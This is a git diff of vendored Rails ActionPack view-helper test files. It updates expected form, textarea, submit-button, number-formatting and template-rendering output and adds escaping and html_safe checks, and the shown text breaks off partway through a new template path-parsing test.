diff --git a/vendor/rails/actionpack/test/template/form_tag_helper_test.rb b/vendor/rails/actionpack/test/template/form_tag_helper_test.rb
index 0c8af60a..09a0c646 100644
--- a/vendor/rails/actionpack/test/template/form_tag_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/form_tag_helper_test.rb
@@ -39,13 +39,13 @@ class FormTagHelperTest < ActionView::TestCase
 
   def test_form_tag_with_method_put
     actual = form_tag({}, { :method => :put })
-    expected = %(<form action="http://www.example.com" method="post"><div style='margin:0;padding:0'><input type="hidden" name="_method" value="put" /></div>)
+    expected = %(<form action="http://www.example.com" method="post"><div style='margin:0;padding:0;display:inline'><input type="hidden" name="_method" value="put" /></div>)
     assert_dom_equal expected, actual
   end
 
   def test_form_tag_with_method_delete
     actual = form_tag({}, { :method => :delete })
-    expected = %(<form action="http://www.example.com" method="post"><div style='margin:0;padding:0'><input type="hidden" name="_method" value="delete" /></div>)
+    expected = %(<form action="http://www.example.com" method="post"><div style='margin:0;padding:0;display:inline'><input type="hidden" name="_method" value="delete" /></div>)
     assert_dom_equal expected, actual
   end
 
@@ -61,7 +61,7 @@ class FormTagHelperTest < ActionView::TestCase
     __in_erb_template = ''
     form_tag("http://example.com", :method => :put) { concat "Hello world!" }
 
-    expected = %(<form action="http://example.com" method="post"><div style='margin:0;padding:0'><input type="hidden" name="_method" value="put" /></div>Hello world!</form>)
+    expected = %(<form action="http://example.com" method="post"><div style='margin:0;padding:0;display:inline'><input type="hidden" name="_method" value="put" /></div>Hello world!</form>)
     assert_dom_equal expected, output_buffer
   end
 
@@ -153,6 +153,23 @@ class FormTagHelperTest < ActionView::TestCase
     assert_dom_equal expected, actual
   end
 
+  def test_text_area_tag_id_sanitized
+    input_elem = root_elem(text_area_tag("item[][description]"))
+    assert_match VALID_HTML_ID, input_elem['id']
+  end
+
+  def test_text_area_tag_escape_content
+    actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40"
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">&lt;b&gt;hello world&lt;/b&gt;</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_unescaped_content
+    actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40", :escape => false
+    expected = %(<textarea cols="20" id="body" name="body" rows="40"><b>hello world</b></textarea>)
+    assert_dom_equal expected, actual
+  end
+
   def test_text_field_tag
     actual = text_field_tag "title", "Hello!"
     expected = %(<input id="title" name="title" type="text" value="Hello!" />)
@@ -252,25 +269,32 @@ class FormTagHelperTest < ActionView::TestCase
 
   def test_submit_tag
     assert_dom_equal(
-      %(<input name='commit' type='submit' value='Save' onclick="if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = this.cloneNode(false);hiddenCommit.setAttribute('type', 'hidden');this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';alert('hello!');result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" />),
+      %(<input name='commit' onclick="if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = document.createElement('input');hiddenCommit.type = 'hidden';hiddenCommit.value = this.value;hiddenCommit.name = this.name;this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';alert('hello!');result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" type="submit" value="Save" />),
       submit_tag("Save", :disable_with => "Saving...", :onclick => "alert('hello!')")
     )
   end
 
   def test_submit_tag_with_no_onclick_options
     assert_dom_equal(
-      %(<input name='commit' type='submit' value='Save' onclick="if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = this.cloneNode(false);hiddenCommit.setAttribute('type', 'hidden');this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" />),
+      %(<input name='commit' onclick="if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = document.createElement('input');hiddenCommit.type = 'hidden';hiddenCommit.value = this.value;hiddenCommit.name = this.name;this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" type="submit" value="Save" />),
       submit_tag("Save", :disable_with => "Saving...")
     )
   end
 
   def test_submit_tag_with_confirmation
     assert_dom_equal(
-      %(<input name='commit' type='submit' value='Save' onclick="return confirm('Are you sure?');"/>),
+      %(<input name='commit' type='submit' value='Save' onclick="if (!confirm('Are you sure?')) return false; return true;"/>),
       submit_tag("Save", :confirm => "Are you sure?")
     )
   end
-  
+
+  def test_submit_tag_with_confirmation_and_with_disable_with
+    assert_dom_equal(
+      %(<input name="commit" onclick="if (!confirm('Are you sure?')) return false; if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = document.createElement('input');hiddenCommit.type = 'hidden';hiddenCommit.value = this.value;hiddenCommit.name = this.name;this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" type="submit" value="Save" />),
+      submit_tag("Save", :disable_with => "Saving...", :confirm => "Are you sure?")
+    )
+  end
+
   def test_image_submit_tag_with_confirmation
     assert_dom_equal(
       %(<input type="image" src="/images/save.gif" onclick="return confirm('Are you sure?');"/>),
diff --git a/vendor/rails/actionpack/test/template/javascript_helper_test.rb b/vendor/rails/actionpack/test/template/javascript_helper_test.rb
index d4111112..d2fb24e3 100644
--- a/vendor/rails/actionpack/test/template/javascript_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/javascript_helper_test.rb
@@ -45,11 +45,6 @@ class JavaScriptHelperTest < ActionView::TestCase
       link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
   end
 
-  def test_link_to_function_with_href
-    assert_dom_equal %(<a href="http://example.com/" onclick="alert('Hello world!'); return false;">Greeting</a>),
-      link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
-  end
-
   def test_button_to_function
     assert_dom_equal %(<input type="button" onclick="alert('Hello world!');" value="Greeting" />),
       button_to_function("Greeting", "alert('Hello world!')")
diff --git a/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb
index 67c61a5f..bf5b8129 100644
--- a/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb
+++ b/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb
@@ -5,50 +5,65 @@ class NumberHelperI18nTests < Test::Unit::TestCase
 
   attr_reader :request
 
-  uses_mocha 'number_helper_i18n_tests' do
-    def setup
-      @number_defaults = { :precision => 3, :delimiter => ',', :separator => '.' }
-      @currency_defaults = { :unit => '$', :format => '%u%n', :precision => 2 }
-      @human_defaults = { :precision => 1 }
-      @percentage_defaults = { :delimiter => '' }
-      @precision_defaults = { :delimiter => '' }
+  def setup
+    @number_defaults = { :precision => 3, :delimiter => ',', :separator => '.' }
+    @currency_defaults = { :unit => '$', :format => '%u%n', :precision => 2 }
+    @human_defaults = { :precision => 1 }
+    @human_storage_units_format_default = "%n %u"
+    @human_storage_units_units_byte_other = "Bytes"
+    @human_storage_units_units_kb_other = "KB"
+    @percentage_defaults = { :delimiter => '' }
+    @precision_defaults = { :delimiter => '' }
 
-      I18n.backend.store_translations 'en', :number => { :format => @number_defaults,
-        :currency => { :format => @currency_defaults }, :human => @human_defaults }
-    end
+    I18n.backend.store_translations 'en', :number => { :format => @number_defaults,
+      :currency => { :format => @currency_defaults }, :human => @human_defaults }
+  end
 
-    def test_number_to_currency_translates_currency_formats
-      I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
-      I18n.expects(:translate).with(:'number.currency.format', :locale => 'en',
-                                    :raise => true).returns(@currency_defaults)
-      number_to_currency(1, :locale => 'en')
-    end
+  def test_number_to_currency_translates_currency_formats
+    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+    I18n.expects(:translate).with(:'number.currency.format', :locale => 'en',
+                                  :raise => true).returns(@currency_defaults)
+    number_to_currency(1, :locale => 'en')
+  end
 
-    def test_number_with_precision_translates_number_formats
-      I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
-      I18n.expects(:translate).with(:'number.precision.format', :locale => 'en',
-                                    :raise => true).returns(@precision_defaults)
-      number_with_precision(1, :locale => 'en')
-    end
+  def test_number_with_precision_translates_number_formats
+    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+    I18n.expects(:translate).with(:'number.precision.format', :locale => 'en',
+                                  :raise => true).returns(@precision_defaults)
+    number_with_precision(1, :locale => 'en')
+  end
 
-    def test_number_with_delimiter_translates_number_formats
-      I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
-      number_with_delimiter(1, :locale => 'en')
-    end
+  def test_number_with_delimiter_translates_number_formats
+    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+    number_with_delimiter(1, :locale => 'en')
+  end
 
-    def test_number_to_percentage_translates_number_formats
-      I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
-      I18n.expects(:translate).with(:'number.percentage.format', :locale => 'en',
-                                    :raise => true).returns(@percentage_defaults)
-      number_to_percentage(1, :locale => 'en')
-    end
+  def test_number_to_percentage_translates_number_formats
+    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+    I18n.expects(:translate).with(:'number.percentage.format', :locale => 'en',
+                                  :raise => true).returns(@percentage_defaults)
+    number_to_percentage(1, :locale => 'en')
+  end
 
-    def test_number_to_human_size_translates_human_formats
-      I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
-      I18n.expects(:translate).with(:'number.human.format', :locale => 'en',
-                                    :raise => true).returns(@human_defaults)
-      # can't be called with 1 because this directly returns without calling I18n.translate
-      number_to_human_size(1025, :locale => 'en')
-    end
+  def test_number_to_human_size_translates_human_formats
+    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+    I18n.expects(:translate).with(:'number.human.format', :locale => 'en',
+                                  :raise => true).returns(@human_defaults)
+    I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en',
+                                  :raise => true).returns(@human_storage_units_format_default)
+    I18n.expects(:translate).with(:'number.human.storage_units.units.kb', :locale => 'en', :count => 2,
+                                  :raise => true).returns(@human_storage_units_units_kb_other)
+    # 2KB
+    number_to_human_size(2048, :locale => 'en')
+
+    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+    I18n.expects(:translate).with(:'number.human.format', :locale => 'en',
+                                  :raise => true).returns(@human_defaults)
+    I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en',
+                                  :raise => true).returns(@human_storage_units_format_default)
+    I18n.expects(:translate).with(:'number.human.storage_units.units.byte', :locale => 'en', :count => 42,
+                                  :raise => true).returns(@human_storage_units_units_byte_other)
+    # 42 Bytes
+    number_to_human_size(42, :locale => 'en')
   end
 end
diff --git a/vendor/rails/actionpack/test/template/number_helper_test.rb b/vendor/rails/actionpack/test/template/number_helper_test.rb
index 9c9f5493..b6542ef2 100644
--- a/vendor/rails/actionpack/test/template/number_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/number_helper_test.rb
@@ -4,6 +4,7 @@ class NumberHelperTest < ActionView::TestCase
   tests ActionView::Helpers::NumberHelper
 
   def test_number_to_phone
+    assert_equal("555-1234", number_to_phone(5551234))
     assert_equal("800-555-1212", number_to_phone(8005551212))
     assert_equal("(800) 555-1212", number_to_phone(8005551212, {:area_code => true}))
     assert_equal("800 555 1212", number_to_phone(8005551212, {:delimiter => " "}))
@@ -117,6 +118,10 @@ class NumberHelperTest < ActionView::TestCase
     assert_equal '1.01 KB',   number_to_human_size(1.0123.kilobytes, :precision => 2)
     assert_equal '1.01 KB',   number_to_human_size(1.0100.kilobytes, :precision => 4)
     assert_equal '10 KB',     number_to_human_size(10.000.kilobytes, :precision => 4)
+    assert_equal '1 TB', number_to_human_size(1234567890123, :precision => 0)
+    assert_equal '500 MB', number_to_human_size(524288000, :precision=>0)
+    assert_equal '40 KB', number_to_human_size(41010, :precision => 0)
+    assert_equal '40 KB', number_to_human_size(41100, :precision => 0)
   end
 
   def test_number_to_human_size_with_custom_delimiter_and_separator
diff --git a/vendor/rails/actionpack/test/template/prototype_helper_test.rb b/vendor/rails/actionpack/test/template/prototype_helper_test.rb
index d6b86a39..3bcf5327 100644
--- a/vendor/rails/actionpack/test/template/prototype_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/prototype_helper_test.rb
@@ -130,7 +130,7 @@ class PrototypeHelperTest < PrototypeHelperBaseTest
   end
 
   def test_form_remote_tag_with_method
-    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\"><div style='margin:0;padding:0'><input name='_method' type='hidden' value='put' /></div>),
+    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\"><div style='margin:0;padding:0;display:inline'><input name='_method' type='hidden' value='put' /></div>),
       form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, :html => { :method => :put })
   end
 
@@ -158,7 +158,7 @@ class PrototypeHelperTest < PrototypeHelperBaseTest
     @record.save
     remote_form_for(@record) {}
 
-    expected = %(<form action='#{author_path(@record)}' id='edit_author_1' method='post' onsubmit="new Ajax.Request('#{author_path(@record)}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='edit_author'><div style='margin:0;padding:0'><input name='_method' type='hidden' value='put' /></div></form>)
+    expected = %(<form action='#{author_path(@record)}' id='edit_author_1' method='post' onsubmit="new Ajax.Request('#{author_path(@record)}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='edit_author'><div style='margin:0;padding:0;display:inline'><input name='_method' type='hidden' value='put' /></div></form>)
     assert_dom_equal expected, output_buffer
   end
 
@@ -174,7 +174,7 @@ class PrototypeHelperTest < PrototypeHelperBaseTest
     @article.save
     remote_form_for([@author, @article]) {}
 
-    expected = %(<form action='#{author_article_path(@author, @article)}' id='edit_article_1' method='post' onsubmit="new Ajax.Request('#{author_article_path(@author, @article)}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='edit_article'><div style='margin:0;padding:0'><input name='_method' type='hidden' value='put' /></div></form>)
+    expected = %(<form action='#{author_article_path(@author, @article)}' id='edit_article_1' method='post' onsubmit="new Ajax.Request('#{author_article_path(@author, @article)}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='edit_article'><div style='margin:0;padding:0;display:inline'><input name='_method' type='hidden' value='put' /></div></form>)
     assert_dom_equal expected, output_buffer
   end
 
@@ -327,28 +327,28 @@ class JavaScriptGeneratorTest < PrototypeHelperBaseTest
   def test_remove
     assert_equal 'Element.remove("foo");',
       @generator.remove('foo')
-    assert_equal '["foo", "bar", "baz"].each(Element.remove);',
+    assert_equal '["foo","bar","baz"].each(Element.remove);',
       @generator.remove('foo', 'bar', 'baz')
   end
 
   def test_show
     assert_equal 'Element.show("foo");',
       @generator.show('foo')
-    assert_equal '["foo", "bar", "baz"].each(Element.show);',
+    assert_equal '["foo","bar","baz"].each(Element.show);',
       @generator.show('foo', 'bar', 'baz')
   end
 
   def test_hide
     assert_equal 'Element.hide("foo");',
       @generator.hide('foo')
-    assert_equal '["foo", "bar", "baz"].each(Element.hide);',
+    assert_equal '["foo","bar","baz"].each(Element.hide);',
       @generator.hide('foo', 'bar', 'baz')
   end
 
   def test_toggle
     assert_equal 'Element.toggle("foo");',
       @generator.toggle('foo')
-    assert_equal '["foo", "bar", "baz"].each(Element.toggle);',
+    assert_equal '["foo","bar","baz"].each(Element.toggle);',
       @generator.toggle('foo', 'bar', 'baz')
   end
 
@@ -385,7 +385,7 @@ class JavaScriptGeneratorTest < PrototypeHelperBaseTest
     assert_equal <<-EOS.chomp, @generator.to_s
 Element.insert("element", { top: "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E" });
 Element.insert("element", { bottom: "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E" });
-["foo", "bar"].each(Element.remove);
+["foo","bar"].each(Element.remove);
 Element.update("baz", "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E");
     EOS
   end
@@ -554,8 +554,8 @@ return (value.className == "welcome");
     end
 
     assert_equal <<-EOS.strip, @generator.to_s
-var a = [1, 2, 3].zip([4, 5, 6], [7, 8, 9]);
-var b = [1, 2, 3].zip([4, 5, 6], [7, 8, 9], function(array) {
+var a = [1, 2, 3].zip([4,5,6], [7,8,9]);
+var b = [1, 2, 3].zip([4,5,6], [7,8,9], function(array) {
 return array.reverse();
 });
     EOS
@@ -606,7 +606,7 @@ return value.reverse();
 
   def test_literal
     literal = @generator.literal("function() {}")
-    assert_equal "function() {}", literal.to_json
+    assert_equal "function() {}", ActiveSupport::JSON.encode(literal)
     assert_equal "", @generator.to_s
   end
 
diff --git a/vendor/rails/actionpack/test/template/raw_output_helper_test.rb b/vendor/rails/actionpack/test/template/raw_output_helper_test.rb
new file mode 100644
index 00000000..598aa5b1
--- /dev/null
+++ b/vendor/rails/actionpack/test/template/raw_output_helper_test.rb
@@ -0,0 +1,21 @@
+require 'abstract_unit'
+require 'testing_sandbox'
+
+class RawOutputHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::RawOutputHelper
+  include TestingSandbox
+
+  def setup
+    @string = "hello"
+  end
+
+  test "raw returns the safe string" do
+    result = raw(@string)
+    assert_equal @string, result
+    assert result.html_safe?
+  end
+
+  test "raw handles nil values correctly" do
+    assert_equal "", raw(nil)
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/template/render_test.rb b/vendor/rails/actionpack/test/template/render_test.rb
index e904b4a5..9adf053b 100644
--- a/vendor/rails/actionpack/test/template/render_test.rb
+++ b/vendor/rails/actionpack/test/template/render_test.rb
@@ -1,16 +1,23 @@
+# encoding: utf-8
 require 'abstract_unit'
 require 'controller/fake_models'
 
-class ViewRenderTest < Test::Unit::TestCase
-  def setup
+module RenderTestCases
+  def setup_view(paths)
     @assigns = { :secret => 'in the sauce' }
-    @view = ActionView::Base.new(ActionController::Base.view_paths, @assigns)
+    @view = ActionView::Base.new(paths, @assigns)
+
+    # Reload and register danish language for testing
+    I18n.reload!
+    I18n.backend.store_translations 'da', {}
+    I18n.backend.store_translations 'pt-BR', {}
+
+    # Ensure original are still the same since we are reindexing view paths
+    assert_equal ORIGINAL_LOCALES, I18n.available_locales.map(&:to_s).sort
   end
 
   def test_render_file
-    assert_deprecated do
-      assert_equal "Hello world!", @view.render("test/hello_world.erb")
-    end
+    assert_equal "Hello world!", @view.render(:file => "test/hello_world.erb")
   end
 
   def test_render_file_not_using_full_path
@@ -18,15 +25,46 @@ class ViewRenderTest < Test::Unit::TestCase
   end
 
   def test_render_file_without_specific_extension
-    assert_deprecated do
-      assert_equal "Hello world!", @view.render("test/hello_world")
-    end
+    assert_equal "Hello world!", @view.render(:file => "test/hello_world")
+  end
+
+  def test_render_file_with_localization
+    old_locale = I18n.locale
+    I18n.locale = :da
+    assert_equal "Hey verden", @view.render(:file => "test/hello_world")
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_render_file_with_dashed_locale
+    old_locale = I18n.locale
+    I18n.locale = :"pt-BR"
+    assert_equal "Ola mundo", @view.render(:file => "test/hello_world")
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_render_implicit_html_template_from_xhr_request
+    old_format = @view.template_format
+    @view.template_format = :js
+    assert_equal "Hello HTML!", @view.render(:file => "test/render_implicit_html_template_from_xhr_request")
+  ensure
+    @view.template_format = old_format
+  end
+
+  def test_render_implicit_html_template_from_xhr_request_with_localization
+    old_locale = I18n.locale
+    old_format = @view.template_format
+    I18n.locale = :da
+    @view.template_format = :js
+    assert_equal "Hey HTML!\n", @view.render(:file => "test/render_implicit_html_template_from_xhr_request")
+  ensure
+    I18n.locale = old_locale
+    @view.template_format = old_format
   end
 
   def test_render_file_at_top_level
-    assert_deprecated do
-      assert_equal 'Elastica', @view.render('/shared')
-    end
+    assert_equal 'Elastica', @view.render(:file => '/shared')
   end
 
   def test_render_file_with_full_path
@@ -35,28 +73,20 @@ class ViewRenderTest < Test::Unit::TestCase
   end
 
   def test_render_file_with_instance_variables
-    assert_deprecated do
-      assert_equal "The secret is in the sauce\n", @view.render("test/render_file_with_ivar.erb")
-    end
+    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar.erb")
   end
 
   def test_render_file_with_locals
     locals = { :secret => 'in the sauce' }
-    assert_deprecated do
-      assert_equal "The secret is in the sauce\n", @view.render("test/render_file_with_locals.erb", locals)
-    end
+    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals.erb", :locals => locals)
   end
 
   def test_render_file_not_using_full_path_with_dot_in_path
-    assert_deprecated do
-      assert_equal "The secret is in the sauce\n", @view.render("test/dot.directory/render_file_with_ivar")
-    end
+    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/dot.directory/render_file_with_ivar")
   end
 
   def test_render_has_access_current_template
-    assert_deprecated do
-      assert_equal "test/template.erb", @view.render("test/template.erb")
-    end
+    assert_equal "test/template.erb", @view.render(:file => "test/template.erb")
   end
 
   def test_render_update
@@ -65,6 +95,10 @@ class ViewRenderTest < Test::Unit::TestCase
     assert_equal 'alert("Hello, World!");', @view.render(:update) { |page| page.alert('Hello, World!') }
   end
 
+  def test_render_partial_from_default
+    assert_equal "only partial", @view.render("test/partial_only")
+  end
+
   def test_render_partial
     assert_equal "only partial", @view.render(:partial => "test/partial_only")
   end
@@ -87,6 +121,10 @@ class ViewRenderTest < Test::Unit::TestCase
     assert_equal "5", @view.render(:partial => "test/counter", :locals => { :counter_counter => 5 })
   end
 
+  def test_render_partial_with_locals_from_default
+    assert_equal "only partial", @view.render("test/partial_only", :counter_counter => 5)
+  end
+
   def test_render_partial_with_errors
     @view.render(:partial => "test/raise")
     flunk "Render did not raise TemplateError"
@@ -107,6 +145,10 @@ class ViewRenderTest < Test::Unit::TestCase
     assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
   end
 
+  def test_render_object
+    assert_equal "Hello: david", @view.render(:partial => "test/customer", :object => Customer.new("david"))
+  end
+
   def test_render_partial_collection
     assert_equal "Hello: davidHello: mary", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ])
   end
@@ -142,12 +184,6 @@ class ViewRenderTest < Test::Unit::TestCase
     assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" })
   end
 
-  # TODO: The reason for this test is unclear, improve documentation
-  def test_render_js_partial_and_fallback_to_erb_layout
-    @view.template_format = :js
-    assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" })
-  end
-
   # TODO: The reason for this test is unclear, improve documentation
   def test_render_missing_xml_partial_and_raise_missing_template
     @view.template_format = :xml
@@ -163,7 +199,7 @@ class ViewRenderTest < Test::Unit::TestCase
   end
 
   def test_render_fallbacks_to_erb_for_unknown_types
-    assert_equal "Hello, World!", @view.render(:inline => "Hello, World!", :type => :foo)
+    assert_equal "Hello, World!", @view.render(:inline => "Hello, World!", :type => :bar)
   end
 
   CustomHandler = lambda do |template|
@@ -181,6 +217,27 @@ class ViewRenderTest < Test::Unit::TestCase
     assert_equal 'source: "Hello, <%= name %>!"', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
   end
 
+  class LegacyHandler < ActionView::TemplateHandler
+    def render(template, local_assigns)
+      "source: #{template.source}; locals: #{local_assigns.inspect}"
+    end
+  end
+
+  def test_render_legacy_handler_with_custom_type
+    ActionView::Template.register_template_handler :foo, LegacyHandler
+    assert_equal 'source: Hello, <%= name %>!; locals: {:name=>"Josh"}', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
+  end
+
+  def test_render_ignores_templates_with_malformed_template_handlers
+    %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
+      assert_raise(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
+    end
+  end
+
+  def test_template_with_malformed_template_handler_is_reachable_through_its_exact_filename
+    assert_equal "Don't render me!", @view.render(:file => 'test/malformed/malformed.html.erb~')
+  end
+
   def test_render_with_layout
     assert_equal %(<title></title>\nHello world!\n),
       @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield")
@@ -190,4 +247,44 @@ class ViewRenderTest < Test::Unit::TestCase
     assert_equal %(<title>title</title>\n<div id="column">column</div>\n<div id="content">content</div>\n),
       @view.render(:file => "test/nested_layout.erb", :layout => "layouts/yield")
   end
+
+  if '1.9'.respond_to?(:force_encoding)
+    def test_render_utf8_template
+      result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield")
+      assert_equal "Русский текст\n日本語のテキスト", result
+      assert_equal Encoding::UTF_8, result.encoding
+    end
+  end
 end
+
+module TemplatesSetupTeardown
+  def setup_view_paths_for(new_cache_template_loading)
+    @previous_cache_template_loading, ActionView::Base.cache_template_loading = ActionView::Base.cache_template_loading, new_cache_template_loading
+    view_paths = new_cache_template_loading ? CACHED_VIEW_PATHS : ActionView::Base.process_view_paths(CACHED_VIEW_PATHS.map(&:to_s))
+    assert_equal(new_cache_template_loading ? ActionView::Template::EagerPath : ActionView::ReloadableTemplate::ReloadablePath, view_paths.first.class)
+    setup_view(view_paths)
+  end
+  
+  def teardown
+    ActionView::Base.cache_template_loading = @previous_cache_template_loading
+  end
+end
+
+class CachedRenderTest < Test::Unit::TestCase
+  include TemplatesSetupTeardown
+  include RenderTestCases
+
+  def setup
+    setup_view_paths_for(cache_templates = true)
+  end
+end
+
+class ReloadableRenderTest < Test::Unit::TestCase
+  include TemplatesSetupTeardown
+  include RenderTestCases
+
+  def setup
+    setup_view_paths_for(cache_templates = false)
+  end
+end
+
diff --git a/vendor/rails/actionpack/test/template/sanitize_helper_test.rb b/vendor/rails/actionpack/test/template/sanitize_helper_test.rb
index f715071b..222d4dbf 100644
--- a/vendor/rails/actionpack/test/template/sanitize_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/sanitize_helper_test.rb
@@ -39,7 +39,16 @@ class SanitizeHelperTest < ActionView::TestCase
     %{This is a test.\n\n\nIt no longer contains any HTML.\n}, strip_tags(
     %{<title>This is <b>a <a href="" target="_blank">test</a></b>.</title>\n\n<!-- it has a comment -->\n\n<p>It no <b>longer <strong>contains <em>any <strike>HTML</strike></em>.</strong></b></p>\n}))
     assert_equal "This has a  here.", strip_tags("This has a <!-- comment --> here.")
-    [nil, '', '   '].each { |blank| assert_equal blank, strip_tags(blank) }
+    [nil, '', '   '].each do |blank|
+      stripped = strip_tags(blank)
+      assert_equal blank, stripped
+      assert stripped.html_safe? unless blank.nil?
+    end
+    assert strip_tags("<script>").html_safe?
+  end
+
+  def test_sanitize_is_marked_safe
+    assert sanitize("<html><script></script></html>").html_safe?
   end
 
   def assert_sanitized(text, expected = nil)
diff --git a/vendor/rails/actionpack/test/template/tag_helper_test.rb b/vendor/rails/actionpack/test/template/tag_helper_test.rb
index ef88cae5..2acf6af1 100644
--- a/vendor/rails/actionpack/test/template/tag_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/tag_helper_test.rb
@@ -34,6 +34,7 @@ class TagHelperTest < ActionView::TestCase
 
   def test_content_tag
     assert_equal "<a href=\"create\">Create</a>", content_tag("a", "Create", "href" => "create")
+    assert content_tag("a", "Create", "href" => "create").html_safe?
     assert_equal content_tag("a", "Create", "href" => "create"),
                  content_tag("a", "Create", :href => "create")
   end
diff --git a/vendor/rails/actionpack/test/template/template_test.rb b/vendor/rails/actionpack/test/template/template_test.rb
new file mode 100644
index 00000000..7caec7ad
--- /dev/null
+++ b/vendor/rails/actionpack/test/template/template_test.rb
@@ -0,0 +1,32 @@
+require 'abstract_unit'
+
+class TemplateTest < Test::Unit::TestCase
+  def test_template_path_parsing
+    with_options :base_path => nil, :name => 'abc', :locale => nil, :format => 'html', :extension => 'erb' do |t|
+      t.assert_parses_template_path 'abc.en.html.erb',        :locale => 'en'
+      t.assert_parses_template_path 'abc.en.plain.html.erb',  :locale => 'en', :format => 'plain.html'
+      t.assert_parses_template_path 'abc.html.erb'
+      t.assert_parses_template_path 'abc.plain.html.erb',     :format => 'plain.html'
+      t.assert_parses_template_path 'abc.erb',                :format => nil
+      t.assert_parses_template_path 'abc.html',               :extension => nil
+      
+      t.assert_parses_template_path '_abc.html.erb',          :name => '_abc'
+      
